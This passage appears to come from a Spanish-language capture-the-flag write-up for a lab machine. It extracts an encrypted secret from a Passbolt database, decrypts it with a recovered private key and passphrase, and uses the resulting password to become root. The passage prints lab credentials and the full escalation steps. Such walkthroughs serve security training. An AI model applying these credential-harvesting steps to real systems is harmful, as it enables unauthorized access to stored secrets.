+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
| avatars |
| comments |
| email_queue |
| entities_history |
| favorites |
| gpgkeys |
| groups |
| groups_users |
| organization_settings |
| permissions |
| permissions_history |
| phinxlog |
| profiles |
| resource_types |
| resources |
| roles |
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
25 rows in set (0.00 sec)
mysql> describe email_queue;
+---------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------+--------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment |
| email | varchar(129) | NO | | NULL | |
| from_name | varchar(255) | YES | | NULL | |
| from_email | varchar(255) | YES | | NULL | |
| subject | varchar(255) | NO | | NULL | |
| config | varchar(30) | NO | | NULL | |
| template | varchar(100) | NO | | NULL | |
| layout | varchar(50) | NO | | NULL | |
| theme | varchar(50) | NO | | NULL | |
| format | varchar(5) | NO | | NULL | |
| template_vars | longtext | NO | | NULL | |
| headers | text | YES | | NULL | |
| sent | tinyint(1) | NO | | 0 | |
| locked | tinyint(1) | NO | | 0 | |
| send_tries | int | NO | | 0 | |
| send_at | datetime | YES | | NULL | |
| created | datetime | NO | | NULL | |
| modified | datetime | YES | | NULL | |
| attachments | text | YES | | NULL | |
| error | text | YES | | NULL | |
+---------------+--------------+------+-----+---------+----------------+
20 rows in set (0.00 sec)
mysql> select template_vars from email_queue;
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
wcBMA/ZcqHmj13/kAQf/S2jK++GnBCjrTPSF8bSdxLegFa7RCK88m0L2Rmyb
QUiAlCWU8ZQxww4IsE99cSQOEwEKZ+vYHZzUY76jkVB8TzonbRlqhza08hVg
7z2INaxvtC5gHdOj1EdjsmQwvzbceYUNan/r4gfwsgqsvwTaLfp4bjEnZE96
tXUrsDdN/eG1iM6cU8nTuIs+4uqQhY7HKtHjvCmbVKvWfECU9uxszHQ83CG2
oTl7X8jAAKOppOnj9MOoHK2CCKpzL5202WBG6rUJBm9HyAz2QRy8sgXLHGuW
ES6612ZXY8CYBZzhHuS+Qbl7OKSfINDlnO/ZGA3ljlwJXj7Zlg0oezb6Dn4Q
x9LA7wGjTGNAygXxn5vptqDlB7IobWz8JuMf1rFxGn30Al4lcgNJM/sF0UJ+
gJ3Y+JjsnHVJxhy49LAqofqGzi1ozYNBs+rAk0dZmHLWUMEapAqPi3eQS+F6
VqnbuW1KqL9fHldQU9oWa78RFf6mqkdSUepM6Oiq+zGzxAwL+0x1nBVGXMz6
XuzZWLzjP3L0iuUBuAlth3/cvw6xSQ1z7inyqz37JiHAPrFLHl+wp20ENKqs
lBMVeY4cW1/xxMOekEox5PSds6P/6GM5pUoI4Gu3mxjGPaba4rb+KQh8An3A
xGWUqOgcLzBK5D3WQwqQhtpcjEpOKhUeIvG7q+q61jxrIbg44wzwue9DG1Bu
0cmWN/ahal9V5Yp5ujC49j2vn1SZ36MXJbakGDmmCNZWMVq0Im1yUD2IsRb6
JLTYBI1gCL6Y+NEeE2GoPqTVnRrDsJreN5yx4SvWg11kxFIALghcQqNfBgJi
VIPlTmPHGUFHKG0R9anuhPEn1glpH4bgisP/sZMWQ4OBwgtHhPy/7IjhUh3j
q3dxTlOnr8Kt5gtwCSGuy4WU79JcgjMbUOj/LP8d
=+2oL
-----END PGP MESSAGE-----
El mensaje lo vamos a guardar en un archivo llamado message.crypted
y la clave privada en un archivo llamada private.key
, el archivo passwd
es la contraseña para la clave privada merrychristmas
. Debemos tener estos archivos en el mismo directorio
1
2
# ls
message.crypted passwd private.key
Importamos
la clave privada
he introducimos la contraseña
de la clave
1
# gpg --import private.key
Desencriptamos
el mensaje
he introducimos
la contraseña
1
# gpg --decrypt message.crypted
Este es el mensaje
obtenido
1
{"description":"","password":"Z(2rmxsNW(Z?3=p/9s"}gpg: Signature made Thu Feb 25 22:50:11 2021 CET
Probamos la contraseña
para ver si podemos convertirnos en usuario root
y funciona
1
2
3
4
eddie@bolt:/home$ su root
Password:
root@bolt:/home# whoami
root